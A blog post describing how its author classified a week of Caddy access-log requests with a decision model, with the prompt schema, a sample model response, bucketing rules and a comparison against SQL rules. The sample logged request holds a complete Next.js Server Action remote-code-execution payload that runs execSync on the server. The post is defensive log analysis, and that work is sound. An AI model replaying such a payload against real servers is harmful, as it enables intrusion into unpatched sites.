Classifying Caddy Hits With Jev

I waxed poetic about Jev back in September and took advantage of a day away from work to see how it fared against the logs from this site, in part to see if it was worth adding a System One model run to the daily Site Observatory routine.

I used my Go-based TypeSafe API module to be used as part of a harness to ask Jev the following 11 questions for each request log line (~28K requests) for the past ~week:

Both attack and harmless_to_owner are in there as a sanity check on the model (if they are both yes or no then we have a model problem). FWIW, no row is called both an attack and harmless in the live run.

This is the cost/speed breakdown:

Output tokens are free at TypeSafe, so the bill is the input only. Each call has about ~1.5K input tokens.

This is a sample (real) request and reply (who doesn’t like massive JSON blobs in blog posts?!):

{
  "state": "HTTP request\nmethod: POST\nuri: /\nprotocol: HTTP/1.1\nhost: ai.rud.is\ntls: version=772 resumed=false\nclient-ref: ref-b3cddbea6c42\nheaders (7):\n  Accept: application/json, text/plain, */*\n  Accept-Encoding: gzip, compress, deflate, br\n  Connection: close\n  Content-Length: 741\n  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\n  Next-Action: x\n  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nbody (741 bytes):\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo vulnerable',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\n",
  "model": "jev-latest",
  "questions": {
    "action": {
      "type": "choice",
      "instructions": "What should the site do with this request?",
      "criteria": {
        "allow": "serve it normally",
        "block": "refuse it",
        "challenge": "require proof of humanity or a signature before serving",
        "throttle": "serve it but slow it down"
      }
    },
    "attack": {
      "type": "noul",
      "instructions": "Is this request an attack attempt against the server?",
      "criteria": {
        "true": "it deliberately tries to exploit, break into, damage, or gain unauthorised access to the server, its data, or its accounts",
        "false": "it is an ordinary request, including unattractive but harmless traffic such as aggressive crawling, feed polling, and probing for files that any public site receives"
      }
    },
    "attack_family": {
      "type": "choice",
      "instructions": "Which attack technique, if any, does this request use?",
      "criteria": {
        "command_injection_rce": "command injection or remote code execution",
        "credential_access": "password guessing, login abuse, or authentication bypass",
        "deserialization": "unsafe deserialization",
        "file_upload_webshell": "uploading a file to run code later",
        "none": "no attack technique is present",
        "path_enumeration": "asking for well-known files or directories to see what exists",
        "sqli": "SQL injection",
        "ssrf": "server-side request forgery",
        "traversal_lfi": "directory traversal or local file inclusion",
        "xss": "cross-site scripting"
      }
    },
    "automated_client": {
      "type": "noul",
      "instructions": "Does this request come from an automated client rather than a person?",
      "criteria": {
        "true": "a program, crawler, feed reader, scanner, or agent sent it",
        "false": "a person sent it from a browser or feed app"
      }
    },
    "body_code_exec": {
      "type": "noul",
      "instructions": "Does the request body attempt to run code on the server?",
      "criteria": {
        "true": "the body tries to execute a command, a script, or a program on the server",
        "false": "the body is data, a form, or empty, and tries to run nothing"
      }
    },
    "client_class": {
      "type": "choice",
      "instructions": "Which client sent this request?",
      "criteria": {
        "ai_crawler": "an AI training or AI assistant crawler",
        "fediverse_peer": "a Mastodon or other fediverse server fetching a post to show its own users",
        "human_reader": "a person using a browser or feed app to read the site",
        "other_crawler": "any other automated crawler, monitor, or uptime checker",
        "rss_reader": "an RSS or Atom reader or aggregator fetching a feed",
        "scanner": "a tool probing for files, endpoints, or vulnerabilities instead of reading content",
        "search_crawler": "a search engine crawler"
      }
    },
    "harmless_to_owner": {
      "type": "noul",
      "instructions": "Would the person who runs this site consider this request harmless?",
      "criteria": {
        "true": "they would not mind it and would not act on it",
        "false": "they would want to know about it or block it"
      }
    },
    "path_commonly_probed": {
      "type": "noul",
      "instructions": "Is the requested path or filename one that vulnerability scanners commonly probe for?",
      "criteria": {
        "true": "scanners routinely ask for this path to look for exposed secrets, backups, admin panels, or known-vulnerable software",
        "false": "the path is a normal part of this site or is not commonly probed"
      }
    },
    "payload_vs_path": {
      "type": "noul",
      "instructions": "Does this request carry an exploit payload, rather than only asking for a path or filename that scanners commonly probe?",
      "criteria": {
        "true": "the request line, a header, or the body contains an injection, an encoded payload, or an attempt to execute something",
        "false": "it only asks for a path or filename, with no injection or execution attempt anywhere in it"
      }
    },
    "severity": {
      "type": "score",
      "instructions": "How serious is this request for the site owner?",
      "criteria": [
        "none",
        "informational",
        "suspicious",
        "malicious"
      ]
    },
    "verifiable_signature": {
      "type": "noul",
      "instructions": "Does this request present a cryptographic signature that identifies the agent it names?",
      "criteria": {
        "true": "the request carries a signature header from a named agent, of the kind used to prove a crawler's identity",
        "false": "there is no signature header, or it does not identify a named agent"
      }
    }
  }
}

The response for the same line:

{
  "model": "jev-1.13.0",
  "answers": {
    "action": {
      "type": "choice",
      "choice": "block",
      "confidence": 1.0,
      "probabilities": {
        "allow": 0.0,
        "block": 1.0,
        "challenge": 0.0,
        "throttle": 0.0
      }
    },
    "attack": {
      "type": "noul",
      "noul": 0.97
    },
    "attack_family": {
      "type": "choice",
      "choice": "command_injection_rce",
      "confidence": 0.81,
      "probabilities": {
        "command_injection_rce": 0.83,
        "credential_access": 0.0,
        "deserialization": 0.11,
        "file_upload_webshell": 0.0,
        "none": 0.05,
        "path_enumeration": 0.0,
        "sqli": 0.0,
        "ssrf": 0.0,
        "traversal_lfi": 0.0,
        "xss": 0.01
      }
    },
    "automated_client": {
      "type": "noul",
      "noul": 0.85
    },
    "body_code_exec": {
      "type": "noul",
      "noul": 0.92
    },
    "client_class": {
      "type": "choice",
      "choice": "scanner",
      "confidence": 0.94,
      "probabilities": {
        "ai_crawler": 0.01,
        "fediverse_peer": 0.0,
        "human_reader": 0.04,
        "other_crawler": 0.0,
        "rss_reader": 0.0,
        "scanner": 0.95,
        "search_crawler": 0.0
      }
    },
    "harmless_to_owner": {
      "type": "noul",
      "noul": 0.04
    },
    "path_commonly_probed": {
      "type": "noul",
      "noul": 0.29
    },
    "payload_vs_path": {
      "type": "noul",
      "noul": 0.98
    },
    "severity": {
      "type": "score",
      "score": 2.99,
      "confidence": 0.99,
      "legend": {
        "0": "none",
        "1": "informational",
        "2": "suspicious",
        "3": "malicious"
      },
      "probabilities": {
        "0": 0.0,
        "1": 0.0,
        "2": 0.01,
        "3": 0.99
      }
    },
    "verifiable_signature": {
      "type": "noul",
      "noul": 0.03
    }
  },
  "usage": {
    "input_tokens": 1777,
    "output_tokens": 381
  }
}

For clarity, the state sent for each line holds:

• the method, the URI, the protocol, the host, and the TLS version
• every request header, with secrets and addresses removed
• the request body when the server logged one

and we remove all these entities before each call:

• any header whose name mentions auth, cookie, token, secret, password, session, JWT, credential, IP, forwarding, proxy, or contact
• the values of secret-looking query parameters in the URI and in the Referer header
• the client address, replaced by ref-<12 hex>, a salted hash

A response handler takes the results and buckets each request into one of four categories:

payload = max(attack, body_code_exec, payload_vs_path)

allow     if verifiable_signature >= 0.5 and payload < 0.2
block     if payload >= 0.6
throttle  if action == "block" or path_commonly_probed >= 0.9 or severity >= 1.9
allow     otherwise

which results in:

The 0.2% (44) refusals are: 36 probes for the phpunit eval-stdin.php file across six vendor paths, three requests carrying a Next.js exploit body, two phpinfo() reads, one cross-site scripting probe, one directory traversal, and one attemptcredentials through a command parameter.

The “signed agent”s are requests with Signature lines like this:

HTTP request
method: GET
uri: /posts/2026-04-18-duckdb-agent-skills/
protocol: HTTP/2.0
host: ai.rud.is
tls: version=772 resumed=false
client-ref: ref-8230f2c7b7de
headers (9):
  Accept: text/markdown,text/html;q=0.9,application/xhtml+xml;q=0.8,application/xml;q=0.7,image/webp;q=0.6,*/*;q=0.5
  Accept-Encoding: gzip, deflate, br
  Accept-Language: en-US,en;q=0.5
  Cache-Control: no-cache
  Pragma: no-cache
  Signature: sig=:cxQMkr2HZFjxqT6WSD2EvhyLCBYP0AHw1y5NC/SCGh3d5VgAxuilsLSmZKfUumO/iPfzqvyeLPc9hfSOscaXDg==:
  Signature-Agent: "https://crawler.exa.ai"
  Signature-Input: sig=("@authority" "signature-agent");keyid="sDCpsJpgItYcmF_KhZozOUGIGL6a49yxE3f0yQR5SIA";nonce="ypQD55/PsV9iwXKG2xGQdJhVCVwWaO1x+YoMgWVN151uT5yT9RxZCvva5ZcRqxpvyuYsLOhzdRWelmI1zPAUfQ==";tag="web-bot-auth";alg="ed25519";created=1791122909;expires=1791123209
  User-Agent: Mozilla/5.0 (compatible; ExaSearchBot/1.0; +https://crawler.exa.ai/)
body: none

That’d be a great sig to block on if this site wasn’t deliberately trying to attract “AI” crawlers to examine their behavior.

Since part of the goal of this work was to see if it’s worth using Jev to help with the Observatory classifications, I checked to see where Jev differed from my (now ginormous) SQL classifier. On this window, the model found 70 requests that those rules filed as ordinary visitors or crawlers but that are plainly probes:

The reverse also happens. The rules call 2,922 requests scanners, the model calls 1,898, and they agree on 1,716 of them.

I decided to cross check what my SQL classifier says to what actions the Jev process recommended:

If this weren’t a static site blog, I’d likely lean into the refusal suggestions.

FIN

Since decision models are kind of new (they really aren’t, but blathering LLMs get all the limelight), a second agenda of this experiment was to provide a working example for folks to riff from.

All the Jev code, analysis code, and data (yes, all 28K log lines) are at rud.is/git/jev-systemone/ so anyone can try to reproduce the results.